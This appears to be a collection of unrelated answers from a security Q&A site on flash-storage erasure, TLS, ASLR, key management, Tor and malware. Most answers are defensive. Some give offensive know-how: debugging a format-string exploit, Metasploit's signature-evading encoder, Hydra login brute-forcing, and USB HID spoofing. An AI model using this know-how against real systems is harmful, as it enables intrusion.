You can't delete something: space from a USB stick doesn't go missing. You can only read and write bits on certain positions. So when we say "deleting", we typically mean "overwrite the data with zeroes".

When you delete a file, it deletes the entry in the file list.

When you format a drive, it deletes the filesystem identifier (line 0).

So the files are all still there, you are just missing a reference to them. If you try to read data without having a file table, you don't know whether line 10 is part of another file, or a new file: you'll have to try and find starting markers (such as JFIF in jpg files) and see if you can read data from there.

To really erase something, you will need software that overwrites the file, not just deletes the file entry. There is lots of software that does this, search for "secure erase" or something. Overwriting a file multiple times is usually not necessary (unless you handle very sensitive data, then you will want to read up on the exact technicalities of the storage medium you're using).

Can data be retrieved from a USB stick after overwriting?

USB sticks and SSDs are very similar in this regard: they are both NAND flash storage, which truly erases a cell's contents when it is told to erase a cell. But each cell can only be written to a certain number of times before it breaks. To use each cell optimally, sticks may do "wear leveling", where it keeps an internal counter of how often each cell has been written to. (SSDs always do this, USB sticks (as far as I know) rarely.) Your secure delete software might try to write 00000 to position 7, but the controller in the device might decide "cell 7 has been written to more than cell 919, so I'll store this new data in 919 instead". Next time the computer asks for the data from position 7, the stick will remember the mapping and return data from cell 919.

Here, too, data might still be present even if your software instructed the stick to overwrite it, though it may be very hard to get it out (you'll probably have to do some soldering to get around the controller and read each cell). TRIM is a command which, when issued to the stick (or SSD), will erase all cells which are marked as empty. So if it has not reused cell 7 yet, then it knows that it is empty (because it knows the data is now stored in cell 919). Whenever it is told to TRIM, it will actually erase the old data. Until it does that, however, the data is still there.


How do I apply a security baseline to Windows 2008 R2?

Has been replaced by the SCM toolkit: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=fb8b981f-227c-4af6-a44b-b115696a80ac&displaylang=en

Over view of SCM toolkit: http://social.technet.microsoft.com/wiki/contents/articles/microsoft-security-compliance-manager-scm.aspx

SCM getting started guide: http://social.technet.microsoft.com/wiki/contents/articles/microsoft-security-compliance-manager-scm-getting-started.aspx

SCM frequently asked questions: http://social.technet.microsoft.com/wiki/contents/articles/microsoft-security-compliance-manager-scm-frequently-asked-questions-faq.aspx

Windows 2008 security resource book: http://www.amazon.com/Windows-Server-2008-Security-Resource/dp/0735625042/ref=sr_1_1?ie=UTF8&qid=1294339984&sr=8-1


Does client certificate authentication demand more server-side entropy?

If you "run out of entropy", then you are using /dev/random, and you should not. You should use /dev/urandom. The whole concept of "running out of entropy" is based on a flawed metaphor in which randomness is viewed as a kind of gasoline. That's just wrong. Recent versions of the man page of /dev/random (on Linux) are less terrible than what they used to be, and now recommend the right thing, which is to use /dev/urandom.

(When I say "you" it might be "the software you use". Regardless, someone is doing a stupid thing, and that stupid thing probably involves /dev/random.)

In any case, certificate validation entails verifying digital signatures, and there is no need of any kind of randomness for that (at least with "normal" signature algorithms like RSA, DSA or ECDSA).

Edit: actually, while the basic certificate validation uses no randomness at all, the checks for revocation status entail contacting external servers to download CRL or OCSP responses, so that's network traffic which may stall and thus display symptoms similar to a blocked read on /dev/random. And the protocol to obtain an OCSP response may include a random nonce included by the requester (here, the server), so it is conceivable that a read on /dev/random still lurks in that code. That's a bit far fetched.


The Wikipedia article continues:

  This places the stack base in an area 8 MB wide containing 524,288
  possible positions; and the mmap base in an area 1 MB wide containing
  256 possible positions.

The latter is way too small to be effective, and an attacker only needs to probe 256 addresses in one segment to find the mmap() address pointer.

What the article doesn't mention is the limited use of ASLR in Linux. Traditionally the 2.6 kernel only used ASLR for (network) processes in specific memory areas (when PIE compiled) while loading the VDSO to a fixed address. Such a measure is only effective if all the addresses are randomized. Newer kernels have better support for address randomization. Note that various Windows versions did the exact same thing.


No, such logs would not prove (to a third party) that the given file was served by someone holding the private key.

TLS works in two phases:

The server makes use of its private key to prove its identity to the client and negotiate a session key.
The session key is used to encrypt and authenticate the application data.

The client and server both have access to the session key. The server's private key is not involved in the second phase at all.

So, having negotiated a genuine session key with the server and captured a genuine handshake to prove it, a malicious client could then proceed to use this session key to falsify the rest of the log and claim that the server sent it a different response.


How to read memory from format string exploit correctly

The answer is simple: your %08x  are also in memory!
Did you try decoding the section before the AAA in memory (78383025 30252078 20783830 38302520 25207838 78383025 30252078 00414141)? It's something like 0% x x8080% % x8x80%0% x.AAA after hex decoding. The memory output here is aligned by 4 bytes, but you chose to write 35x5 bytes before your A's, which is 175; 4 does not go evenly into 175. For your second attempt, you did 40x5 == 200, which does evenly divide by 4, hence the correct alignment in your output.
As far as the missing 0x41 goes, I suspect this is a 64-bit system and you are only printing 4 bytes per every 8, so one of them simply isn't being printed. If this is a 64-bit system and you are trying to print the whole 8 bytes, I suggest using %p instead of %08x as a format specifier.


Is it possible for a self-extracting file to run malware on Linux?

welcome to this SE site.
First of all, you may have a file with the most malicious content, stored on any OS, making no harm. The activation of the malicious behavior (from now on, 'infection') would require it to be executed, either directly or indirectly.
The eXecute permission unix systems (including Linux) mark whether a file can be run or not. As you would need to set it as executable, it may prevent some cases where you could inadvertently run a file you didn't intend to. Note however it doesn't completely prevent them from being run. This is specially the case for interpreted languages, where not having the execute bit would for instance not let you run ./script.sh but you could run them as bash script.sh, and similarly with python, perl, etc. (you could as well run ELF binaries that way using ldd, but not on recent versions)
(NTFS also has an execute permission, although it is rarely used)
A direct execution would involve the user running the program (maybe thinking it was doing something else, like opening a pdf invoice). An indirect execution would involve code being run by another program. For example, a vulnerability on the pdf viewer could make it run malicious code when the user opens a specially-crafted malicious pdf. There the execution permission of the file itself won't matter, since it's the actual pdf viewer the one which ran the code.
Moreover, this could even lead to execution of files that the user didn't interact with, such as the exploit happening automatically when opening the folder, as it was parsed by a vulnerable reader to produce a preview/thumbnail. Or an entivirus   that would ran a virus when trying to scan it.

Is that enough to prevent any malware from being installed by some self-extracting file?

No. The best prevention would be not to run such executable at all. Not even if it's "just" a self-extracting file.

Is there anything that can be done to increase the security on a Linux machine?

You could enable SeLinux / AppArmor / run specially untrusted processes in a sandbox / virtual machine. And all the usual recommendations: Do not run untrusted programs or random instructions you found on the web, separate yourself form root account (obviously), keep the system and programs updated (Linux distributions makes this very easy), have working backups that would let you recover if anything bad might happen. Plus, acting cautiously and sensible goes a long way.
Additionally, you could further increase its security by unplugging it, locking in a safe, and storing buried 20 feet under the ground in a secret location (Dennis Huges), albeit you are probably unwilling to go that far.

Recently I came across this extension which can save a webpage as a self-extracting HTML file.

When talking about self-extracting files, they are usually about executable files. They don't need that the receiver has a program able to unpack them, since when run as a program, they are able to unextract themselves. The counterside, is that it requires running that program, as opposed to a local unpacker which would (hopefully) have been installed from a trusted source. (Note: it is usually possible to open self-extracting compressed files with the appropriate program, without having to run them)
In the case of that extension, opening those pages is safe. It works by creating a mixture of html page and zip file, that when opened, loads the contents with javascript. Since it runs inside tha browser, it's not more unsafe than opening a web page stored locally. (Note: installing the extension would still require the usual analysis of determining if that's one that could be harmful)

And aren't formats like EPUB and CBR just archive formats with a specific structure?

Yes, they are archive formats.

Can malware be hidden in these file formats as well?

Malware files could be hidden there. Or a love letter. Or instructions for a spy ring. The point is if that would be dangerous in some way. Most probably not. They would need to exploit a vulnerability in the EPUB/CBR reader, which is the one that would process that file. Otherwise malware stored there would be harmless.


Encryption and Decryption in WEP protocol

The role of Integrity Check Value in Wireless Equivalent Privacy is to ensure that a packet has not been modified in transit. To avoid encrypting two ciphertexts with the same key stream, an Initialization Vector (IV) is used to augment the shared secret key and produce a different RC4 key for each packet.
Source: (In)Security of the WEP algorithm


How to ensure web-camera is accessed legitimately?

To (nearly) absolutely ensure it's not used unexpectedly, go into Device Manager and disable the device. Re-enable it when you're using it, and only then. This requires admin privileges, so if any malware could do it for you, you're already completely compromised.

A Powershell command can automate this for you. Get-PnpDevice -class Camera | Disable-PnpDevice -AsJob will disable all currently-installed devices with the "Camera" class (including any that were installed but aren't presently connected; add -Present to the first command - before the | - if you only want to affect currently-connected devices). The same command but with Enable-PnpDevice instead will re-enable the devices. The -AsJob parameter prevents the cmdlet from prompting you for confirmation. You can also use -FriendlyName *foo* instead of (or in addition to) to -class Camera to filter devices by their "friendly name" (in this example, the name would have to contain the string "foo", case insensitive); this can be handy if you want to enable or disable only a specific device, or you want to get all "devices" related to a particular piece of hardware (for example, webcams often also have microphones, which are "AudioEndpoint" class devices instead of "Camera" devices, so there will be multiple software "devices" installed for one piece of hardware).

If you want to be (considerably) less careful, just use Win10's built-in Privacy settings to control what apps can access the camera. Settings -> Privacy -> Camera, and turn on or off the apps you care about. It's mostly only for controlling modern "store" apps, though; software that uses the legacy camera interface (which will include most software that is designed to run on pre-Win10 versions of Windows) will not be controlled in that list. An app that is disabled from that list but wants to use the camera will prompt you for permission.

Of course, the main weakness of the first approach (aside from the inconvenience) is that there's no way to control what software can access the webcam while it is enabled. However, there's little you can do about that, beyond restricting Store apps from getting access (as in the second approach). At some point, you need to either trust that your device is not running malicious software, permanently disable the camera, or assume that you might be being monitored (and, of course, if there's untrustworthy software it could do a lot of things beyond access your camera).

It sounds like your AV is alerting every time any program tries to access the camera device at all, regardless of whether it's actually doing anything with it. For example, the YouTube thing is probably just YouTube checking whether, in theory, it would be able to use the "Webcam Capture" feature to record and upload a video. It's not actually requesting access to capture video; if it did, your browser would prompt for whether or not to allow access. However, it might trigger the browser to try opening the webcam device just to see if it's usable, and that may be enough to trigger the alert.


Shikata Ga Nai is an encoder included in the Metasploit framework for the x86 architecture. From the available source code:

  This encoder implements a polymorphic XOR additive feedback encoder. The decoder stub is generated based on dynamic instruction substitution and dynamic block ordering.  Registers are also selected dynamically.

An academic paper describing techniques to extract encoded payloads offers the following explanation:

  This encoder offers three features that provide advanced protection when combined.

  First, the decoder stub generator uses metamorphic techniques, through code reordering and substitution, to produce different output each time it is used, in an effort to avoid signature recognition.
  Second, it uses a chained self modifying key through additive feedback. This means that if the decoding input or keys are incorrect at any iteration then all subsequent output will be incorrect.
  Third, the decoder stub is itself partially obfuscated via self-modifying of the current basic block as well as armored against emulation using FPU instructions.


Purely as a technical matter, is it possible to make otherwise-strong encryption implemetations that contain governmental backdoors?

Sure.  Key escrow works, and it's well understood.

RSA offered a version of it with their "enterprise" version of PGP 6.0 about 20 years ago.  PGP uses hybrid encryption, where the message is encrypted with a symmetric cipher, and the symmetric cypher's key is then encrypted with a public key of the recipient.  Their key block supports encrypting the symmetric key with multiple public keys, allowing for multiple recipients who don't share a private key.

In that product, key escrow was implemented with the introduction of an extra public-key-encrypted symmetric key, where the private key was held by the owner of the PGP system.  It was ostensibly created for corporations who might need to decrypt a message if the legitimate employee was incapacitated or terminated.  (The earlier version suffered from a terrible vulnerability in that the key block was not protected by a MAC, and a malicious third party could silently add their own escrow key.)

Presuming you could impose key escrow upon a standards body, it would be possible to create a secure protocol that could be decrypted both by the legitimate site and by the holder of the private key.  Use of key escrow could be enforced by backbone located network security appliances, which could deny communications unless they saw a digital signature on the key exchange packet indicating that key escrow keys were in place.  Products like snort already function like this today; they would just need the signature information of the legitimate protocol, and could then send an RST packet to any SSL or TLS key exchange that doesn't comply.

The devil would be in the details, though.  Nothing would stop double encipherment, because the network security appliances couldn't be entrusted with the keys needed to decrypt the packets to deeply inspect them.  Nothing can prevent pre-arranged out-of-band signalling, like "a picture of a teakettle on the left side of the table means 'attack at dawn'."  Bespoke key exchanges that are not detectable as TLS would come and go at the speed of light. Darknet VPNs would pop up routing messages around the federal firewalls.  Steganographic communications mechanisms would embed illicit messages in streams of cat videos and ICMP ping requests.  Key management and distribution would be a nightmare.  And imagine what would happen to the security of the nation if Edward Snowden Jr. decided to publish the NSA's master key, or Robert Hansen Jr. turned over the FBI's copy to the Russians?

Such measures might make it harder for ordinary people to use non-default encryption, and might expose their iMessages to the NSA on a regular basis, but they would barely slow down criminal or terror organizations.  And they'd be challenged in court immediately:  forcing users to add key escrow would be tantamount to the government compelling speech, which is constitutionally prohibited in the USA.


Does GateKeeper on OS X 10.8 offer any reasonable protection from exploits?

No.  This is not a benefit of Gatekeeper.

The primary benefit of Gatekeeper is that it prevents the user from being fooled into installing a malicious application.  It prevents social engineering attacks.

(Also, if you are downloading an application over an insecure channel, it prevents a man-in-the-middle from changing the binary to something different and causing you to install malware.)

Gatekeeper does not prevent drive-by download attacks that exploit a vulnerability in your browser to compromise the browser and then trigger execution of malicious code.  If your browser has a remotely exploitable vulnerability, and you browser to a malicious website, you are hosed.  At that point, it doesn't matter whether you've got Gatekeeper enabled or not: you're hosed.  This is not the scenario that Gatekeeper tries to protect you from.  That risk is mitigated in other ways (e.g., by having browsers auto-update themselves; by using sandboxing and privilege separation in the browser architecture; and so on), but not by Gatekeeper.


What security boundaries exist in Windows?

Microsoft recently shared its Security Servicing Criteria that explicitly defines security boundaries of Windows and its applications:

  Network boundary: An unauthorized network endpoint cannot access or tamper with the code and data on a customer’s device.
  Kernel boundary: A non-administrative user mode process cannot access or tamper with kernel code and data. Administrator-to-kernel is
  not a security boundary.
  Process boundary: An unauthorized user mode process cannot access or tamper with the code and data of another process.
  AppContainer sandbox boundary: An AppContainer-based sandbox process cannot access or tamper with code and data outside of the sandbox based on the container capabilities
  User boundary: A user cannot access or tamper with the code and data of another user without being authorized.
  Session boundary: A user logon session cannot access or tamper with another user logon session without being authorized.
  Web browser boundary: An unauthorized website cannot violate the same-origin policy, nor can it access or tamper with the native code and data of the Microsoft Edge web browser sandbox.
  Virtual machine boundary: An unauthorized Hyper-V guest virtual machine cannot access or tamper with the code and data of another guest virtual machine; this includes Hyper-V Isolated Containers.
  Virtual Secure Mode boundary: Data and code within a VSM trustlet or enclave cannot be accessed or tampered with by code executing outside of the VSM trustlet or enclave.

User boundary says "without being authorized": by running runas, you give the authorization (by providing sufficient credentials), so the boundary is not violated.


By using reCAPTCHA which information is Google collecting?

Google's documentation walks you through the process:

Front end, the client loads the javascript, it executes (looking at whatever data locally), then sends the token to you .

Server side, you send to Google the user's response token. You can optionally send the user's IP.

From the documents, nothing is sent to Google itself from the front-end. Please make sure you read the documents from the source.


Attack vectors for server to server using untrusted HTTPS certificates?

When a client doesn't check the SSL certificate of the server that it is connecting to, this opens the door for a Man In the Middle (MITM) attack.  As the name implies, this type of attack is pulled off by someone between the client and the server.  In practice, there are a number of scenarios where this can take place.  See How does a Man In the Middle attack happen in reality for more info.


You misunderstand RFC5958.
PKCS#8 remains a private key serialization format. There is no exception made for that field in the v2 which may contain a public key, because such is now allowed to be included in addition to the private key, not instead of it.

What you should be producing, instead, when you only intend to serialize a public key for transfer, is merely and exactly a SubjectPublicKeyInfo object as defined in RFC5280:
AlgorithmIdentifier  ::=  SEQUENCE  {
     algorithm               OBJECT IDENTIFIER,
     parameters              ANY DEFINED BY algorithm OPTIONAL  }

SubjectPublicKeyInfo  ::=  SEQUENCE  {
     algorithm            AlgorithmIdentifier,
     subjectPublicKey     BIT STRING -- DEFINED BY algorithm --  }

(with, of course, ASCII armoring when appropriate.)
This is how other standardized public cryptographic keys (with the sole exception of RSA's PKCS#1 encoding) are serialized for transfer, such as Ed25519/X25519 and Ed448/X448 as well as the various NIST ECC curves.


Does user-agent session tracking provide any benefit?

Including the user-agent in the session provides some rudimentary protection against session hijacking. This means if the attacker somehow got access to the session cookie he cannot just simply use the cookie in some random browser but must use the same browser, version, subversion etc as the original user - or at least know what the original user-agent value was and make the own browser use this.

If the session id is stolen by sniffing (unprotected) traffic then the user-agent is easily available too within the sniffed data so it can be perfectly faked. If the session cookie is instead stolen by XSS or similar (i.e. cookie was not set to httponly) the exact user-agent is not immediately known but can be retrieved with some tricks too (see comment from @multithr3at3d on this answer).

Thus, including the user-agent into the session cookie will not provide relevant additional protection if your site is HTTPS only (or at least the cookie, i.e. has the secure flag) and the cookie cannot read by XSS (i.e. httponly flag), which are both things you should do anyway.


How can hackers access WordPress usernames?

There are open source tools such as wpscan, that allow for enumeration of wordpress usernames.

To stop it you could try something like this WordPress plugin which claims to be able to stop wpscan's username enumeration


There is not a single document within FISMA which maps to ISO27k1. Instead there are several publications which may be used to achieve the same as with ISO27k1. Note that generally the scope of ISO27k1 is focused on the business. I think it's less specific than FISMA, it's more business oriented. Have a look at this document from ATSEC. Below is a relevant excerpt:

  Here we compare how the two differ in some fundamental aspects. The
  scheme developed by NIST is used by Federal Agencies, their
  contractors and those involved as part of the critical infrastructure
  including utilities (electrical, nuclear, gas and oil, dams),
  transportation (air, road, rail, port, waterways), Public Health
  Systems/Emergency Services, Information and Telecommunications,
  National Defense, Banking and Finance, Postal and Shipping,
  Agriculture/Food/Water, and the Chemical industry in order to meet
  their mandatory requirements under the Act. To date a great many
  systems have been certified and accredited under the scheme. The suite
  of FISMA standards is close to completion and includes a risk
  assessment methodology (SP 199) and a detailed controls list (SP
  800-53) with objective assessment criteria (SP 800-53A). Originally it
  was characterized as adopting somewhat of a “bottom up” approach as
  the technical focus is firmly on the operational and technical aspects
  of the IT system. The focus of the framework is on the IT systems, and
  on their certification and accreditation to operate.

  FIPS Publication 199, Standards for Security Categorization of    Federal Information and Information Systems
  FIPS Publication 200, Minimum Security Requirements for Federal    Information and Federal Information Systems
  NIST Special Publication 800-18, Guide for Developing Security Plans    for Federal Information Systems
  NIST Special Publication 800-37, Guide for the Security Certification    and Accreditation of Federal Information Systems
  NIST Special Publication 800-30, Risk Management
  NIST Special Publication 800-53, Recommended Security Controls for    Federal Information Systems
  NIST Special Publication 800-53A, Guide for Assessing the Security    Controls in Federal Information Systems
  NIST Special Publication 800-59, Guide for Identifying an Information    System as a National Security System
  NIST Special Publication 800-60, Guide for Mapping Types of    Information and Information Systems to Security Categories

  As the FISMA related standards and guidelines have matured they have
  emphasized the importance of a risk management framework that can be
  used to augment the baseline control set approach.

  On the other hand, the ISO/IEC 27001 standard is aligned with ISO/IEC
  9001 (the Quality Management System) and draws from the lessons
  learned in the career of that standard, meeting needs in the
  non-Government arena for scalability and needs to ensure that an
  organizations management system meets a basic best-practices
  management system. It’s paradigm is, that by ensuring that the
  organization has an appropriately defined risk management process and
  assessment methodology, then the treatment of identified risks will
  mean that appropriate controls can be applied and hence assurance can
  be gained that the organization’s systems are also properly secured.
  This standard focuses on making sure that the organization has a
  management system that is capable of managing information security, a
  necessary approach for the non-government arena where a very wide
  variety of organizations need to be serviced. Hence, it adopts more of
  a “top down” approach. The standards included in the ISO/IEC 27000
  family include:

  ISO/IEC 27000 Fundamentals and principles
  ISO/IEC 27001 ISMS requirements
  ISO/IEC 27002 Security controls (Code of Practice for Information    Security Management)
  ISO/IEC 27003 ISMS implementation guidance ISO/IEC 27004 Information    security management   metrics and measurements ISO/IEC
  27005 ISMS    risk


RFC 5755 Attribute Certificate Validation

because it does not carry the public key from it's issuer

A Public Key Certificate (PKC) doesn't contain the public key from it's issuer neither.  A PKC contains the name of the issuer and is digitally signed by that issuer.

Similarly, an Attribute Certificate (AC) also contains an Issuer field (section 4.2.3 of RFC 5755, compared to section 4.1.2.4 of RFC 5280), and an Signature Algorithm (section 4.2.4 of RFC 5755, compared to section 4.1.2.3 of RFC 5280).

Section 5 of RFC 5755 describes the validation process and includes:

  The AC signature must be cryptographically correct, and the AC
    issuer's entire PKC certification path MUST be verified in
    accordance with [PKIXPROF].

[PKIXPROF] here refers to RFC5280 (section 6).  Therefore, an AC is verified the same way as a PKC.


How to detect a virus in a network card?

While it's theoretically possible to insert malicious code into flash memory on peripheral equipment like network cards, it's more likely to see the use of videocard GPU systems to do rainbow table cracks for special purpose hackware, etc.

Specialized programming is needed that would be nation-state level targeted attack fodder. Peripheral equipment malware would take special knowledge and techniques that would allow the device to operate normally without crashing while filtering traffic.

If a theoretical hack was ever done to a network card, the only way you would ever detect it would be by analysis of the traffic coming in and out of it. Your standard anti-malware wouldn't have a clue.

It's more likely that this kind of attack would be done against routers and printers. They already have CPUs with plenty of left over clock cycles and flash memory storage that will easily hold a few minor mods. Our local College had an HP that had a humorous "Insert Nickel to Print" message left by one of the Electronics Majors.


Actually, YES!

You can spoof USB HID, and then from there you can do anything. It isn't as simple as autorun though. I recommend using the digispark microcontroller (ATTiny) <- I used it, I can endorse it!

EDIT: If you need any help, say so, I can guide you

Edit no 2. Things like USBKill are a good defense against this kinda stuff


Can rootca validity start date be lower than current date?

A certificate has no record of when it was created, just the validity period, represented as a date (and time) for notBefore and notAfter; and either of them can be set to whatever you like (though there's not a well defined behavior of setting notAfter to a value less than notBefore, other than "not working").


Strange SECCOMP entries for sshd in audit log

Solved on ServerFault and in upstream. Pushing also here to mark as solved.

The meaning of syscall you can find out simply by executing:

$ ausyscall 102
socketcall
$ ausyscall 132
getpgid

The first one is upstream bug, now fixed. ix86 is using this system call to shutdown socket (close one way).

The second looks like problem of packaging or some downstream patch (what distribution are you using?), because this can be safely allowed from my point of view -- we were allowing getpid and similars for auditing purposes.

To cool you down, no security concern here :) This is probably happening with every (failed) connection.


Everyone has access to the IP address and metadata about all Tor nodes. This is unavoidable. In order for your Tor process to be able to randomly choose nodes, it needs to know a list of nodes in the first place. These nodes, along with their information (their "flags", their capabilities, what they are allowed to do, how fast they are, etc), are public information stored in a file called the consensus. This file is mirrored all around the Tor network, and it is one of the main reasons starting up Tor for the first time can take a while, because you need to download the whole consensus.

This is a short snippet of what the consensus looks like (the full thing is over 36,000 lines, so obviously I won't post it here, but it is public):

w Bandwidth=10700
r Unnamed DSKlNEqBZCDjk4inpj55237koBM 2016-04-03 13:36:16 79.182.174.84 9001 9030
m O9qPgH4mzyAink99kvRfXdq8w6NVtooV+w9zXdhadBU
s Running Stable V2Dir Valid
v Tor 0.2.8.1-alpha
w Bandwidth=12
r csepelisland1 DSuQbBJIrpmIHZgFLvNR8EH6I20 2016-04-04 01:53:33 95.140.42.183 9001 0
m DHNRWHTyCgfbs9Z9g4QYh32CRApgiu11CdnpBzJrcAk
s Exit Fast Running Valid
v Tor 0.2.6.10
w Bandwidth=305
r tyriontornodepw DSycNQERJRfoJnpYZuAYJilAmrQ 2016-04-03 13:40:02 198.98.52.149 9090 0
m yf4cPoG1JoKSMVGwQQduIsedmywjhXhgWL7jQ2LfEjM
s Fast Running Stable Valid
v Tor 0.2.7.6
w Bandwidth=144
r HY100 DT66F+HHjx6ZALq9sjhh1G/K8WM 2016-04-04 03:09:42 178.62.197.82 443 80
m garu8wMlqR6wS3rm96EvsAvNlMIFOBoZWBcEXKeV0QA
s Fast Guard HSDir Running Stable V2Dir Valid
v Tor 0.2.7.6
w Bandwidth=20700
r OnionPi DUYAglyvpTCZp905jvXE9NP8hAc 2016-04-04 05:46:30 75.97.137.234 9001 0
m ghXqzv3gpKRCJ8LtQIe78XccMxf0/p2+/HmwC0LPaSo
s Fast Running Stable Valid
v Tor 0.2.4.27

As you can see, it contains the name, speed, version, flags, and IP address. So yes, you, me, the government, everyone has access to the list of nodes. This does not mean they can control the nodes, just that they know what their IP address is. As soon as a node is suspected compromised, a new version of the consensus is quickly released that blocks that node. Luckily, those events are rare and typically involve very mild issues (an evil exit node involved in petty password theft against people who are foolish enough to put their password into their bank without using the https version of the page).

Note that you are not a relay if you use the Tor network, you are just a client. The government does not have access to the list of people using Tor. You would have to intentionally configure Tor to become a relay for your IP to be listed on the public consensus, otherwise only volunteers who intentionally donate their bandwidth will be listed. So no, the list of Tor IPs does not help the government track people down.


When using AES-GCM, using the same nonce and key pair for multiple messages is catastrophic.  You lose all of the security guarantees AES is supposed to provide. This is the worse possible scenario you could create.   It is critical when using AES-GCM that the nonce is never repeated for any given key.  The best way to ensure this is to use a cryptographically strong PRNG to generate a new 96-bit nonce for each message, and to re-key at reasonably regular intervals, where "reasonably regular" is defined by how much data and how many messages you're encrypting.


Is it ok and useful to keep a security audit report after completing an audit?

It depends on what your friends agreed to.

The fact that you did an audit for them implies that they are alright with you gaining knowledge of their system. Wether or not you are allowed to store that knowledge in some way for a prolonged period of time is something they must agree to explicitly.

You can state how you store the data (e.g. in an encrypted format, with the encryption key escrowed to a trusted third party, perhaps), and how you intend to use it.

However, keep in mind that I am not a lawyer, and if in doubt, you should always consult a lawyer for legal questions. They are much better equipped to talk about the laws in your specific region.

Why would you want to keep the audit report

As for usefulness, it certainly does have its uses. Most importantly, it gives you a quick overview over flaws you have found previously. This allows you to check if these specific flaws have been fixed since the last audit, or if there is still room for improvement.

It can also aid as a guide to see if your customer is heading in the right direction, or if they favor functionality over security - in which case you can definitely add to the audit that things had gotten worse since the last audit.

Keeping the audit in case the customer loses it is not really a valid use-case. Once you sent the customer the audit and they are happy with it, you did your job. It's up to them to keep their files safe, so if they lose it, it's not really your responsibility to provide them a copy. It's similar to how it's not the fault of the grocery store if you drop something in the parking lot and break it. (Of course, it's not unwise to provide them with a copy if they ask for it, but it shouldn't be your primary concern.)


Is End to End encryption possible for all servers across the whole infrastructure?

Just remember the fact that 'end to end' encryption doesn't necessary mean that every single link needs to be encrypted.

E.g. Payment request is encrypted in client browser using app-3 public key. Corresponding private key resides in a HSM.

Client Browser (encrypted payload) -> reverse proxy -> web -> app1 -> app2 -> app3

Payload is decrypted in app3 using HSM. If this is what the client needs to protect, you can literally leave everything in the path in the clear and the data is still safe.

So ask your client where are the important exit points of the data where encryption should be enforced.


Is this a good way to manage encryption keys?

DEK and KEK are used everywhere and especially in cloud encryption so you are on the good way. You can read from : https://cloud.google.com/kms/docs/envelope-encryption?hl=en
HSM is used to secure the Master Key of Hashicorp Vault, so if you do not have it then you have to put physical procedure to store the Shamir based on the Master Key of Vault when you want to unseal/restore it. If you use an HSM then this key will be stored securely and Hashicorp Vault will be able to restore itself as the key is always available to it.
Edit2: You can use softHSM to simulate the behavior. I have setup a HashiCorp Vault + Utimaco hsm using pkcs#11 library and it works very well. Not sure if utimaco simulator is available to everybody.
Also HSM protects against physical attack, even if an physical hacker server where Vault runs then he will not have the keys and won't be able to restore Vault, he will require to have the HSM.
A good reading from vault itself : https://www.vaultproject.io/docs/enterprise/hsm/behavior
Regarding 3. I would recommend to use least privileged and so indeed to restrict root permissions. I haven't used it but HCL like describe here : https://learn.hashicorp.com/tutorials/vault/policies
The quote says simplicity is the ultimate sophistication so keep it simple and then you will see
Edit : last but not least, while using encryption, reminds that if the key is lost then the data also.
Hope it helps


Would a per-file encryption system any more or less secure than volume encryption?

They definitely are not the same thing.

Consider what you learn from having a disk encrypted compared to unencrypted. When it's unencrypted it leaks a large amount of information. How much space is available? How much is used? What files exist on disk? Etc.

However, with each file encrypted, it's possible to use different keys per file, so if one key is compromised the other files are potentially safe. If the disk is encrypted then one key in theory unlocks everything.

More or less secure is relative to what you are trying to protect against. FDE won't protect against a curious child who already has an account on the system, but it would protect against someone walking away with the disk. File level encryption will protect against a child trying to read or write to the file, but if the key is stored on disk and someone walks away with the disk, the files are readable.


How to prevent mobile data from being viewed when leaving VPN server?

Please correct me if i'm wrong. As far as i know, when we use vpn service, our datas are only encrypted from us to vpn server. After leaving the server to intended recipient, our data is decrypted and interceptable by any party who is spying us.

Yes. This is essentially correct. A notable example would be an embassy which used tor - and the person running the tor exit node snooping on the traffic.
Note that the example is old - from 2006-2007. At that time clear text protocols was the norm, and only banks and similar sites bothered with https.
Today, the norm is https and encrypted protocols for almost everything. Even news websites uses https. Heck, my personal blog uses https - because it's essentially free. Let's encrypt was a major driver here, as they made certificates free for all.

How to prevent our data from being intercepted or viewed until it reaches the destination? Does using Signal messaging app make our data encrypted from point to point?

Signal is one example of end to end encrypted protocol, where data is unreadable by anyone in transit. The provider or anyone in the path is unable to read the messages.
With for instance Facebook's Messenger service, the data is encrypted between you and the server, and between the server and other clients, so a VPN server or tor exit node can't read your data - but Facebook can.
End to end-encryption means that the data is unreadable to anyone in transit. With e-mail this may be achieved with PGP or S/Mime. Otherwise, e-mails will at most be encrypted between user and servers, but readable in clear on the e-mail provider servers.


Will completely wiping your hard drive remove all malware?

How deep down the rabbit hole do you want to go?

For OS level malware: Sure, wiping the hard drive is fine. To be extra sure, overwrite the entire hard drive with 0s manually using a secure erase tool.

For hardware/firmware level malware: Well... no. These things live in the actual firmware of your PC and will reinfect your hard drive every time.

For periphery level malware: Now this is a much deeper hole to dive into than OS level and not as bad as the firmware level, but the gist of it is that something else on the network is infected, and will infect you too. This most commonly happens with routers, but if this sort of attack was already happening you'd see weird page redirects, odd DNS settings, and bad behavior on your entire network.

Now out of the truth of the matter:
You probably only have OS level malware, if any, which is easy to fix. Just reformat, secure erase, and reinstall. Have fun!


According to this answer, there is no way the history is written down somewhere on the system natively.

But I am sure that you will find a tool that can track when what process was started like one of these:

http://geekflare.com/how-to-check-process-start-time-in-windows/
https://superuser.com/questions/541716/find-out-what-started-a-process-using-services-exe


Is it possible to specify multiple values for failure condition (F=) using Hydra?

Assuming Hydra was compiled with PCRE (regular expression) support, the pattern you supply should be treated as a regular expression.  You should be able to use | as a pattern "or" operator.

Here's the relevant source code: https://github.com/vanhauser-thc/thc-hydra/blob/eb064c4222964ecac9dc757ad8c847b130c43deb/hydra-http-form.c#L563-L567

You can tell if Hydra was not compiled with PCRE support because it will specifically mention "regex support" on the "These services were not compiled" list: https://github.com/vanhauser-thc/thc-hydra/blob/eb064c4222964ecac9dc757ad8c847b130c43deb/hydra.c#L2142-L2146

If you don't have PCRE support, you'll need to recompile Hydra from the repository.


Websites know which other websites I visited?

Depends entirely on what cookies they use. If they only set cookies from their own domain (first-party cookies), they might be able to know that you visited their site before, but it wouldn't tell them anything about third party websites, in general.

If they set cookies from other sites (third party cookies), the third party might be able to tell that you have visited example.com, example.org, and example.net - but only if all of these sites include third party cookies from the same provider. Example.com wouldn't be able to tell that you'd also visited example.org, unless the third party told them (perhaps through an online dashboard), or you followed a link from example.org to example.com, and your browser set the "referrer" header when connecting.

Most third party cookies belong to large advertising companies, such as Google or Facebook, or to social network companies, such as Twitter or Facebook. Because these companies are included on a lot of sites for various reasons (enabling sharing functions, analytics monitoring, embedded feeds of data), they can easily build up a picture of where you have been.

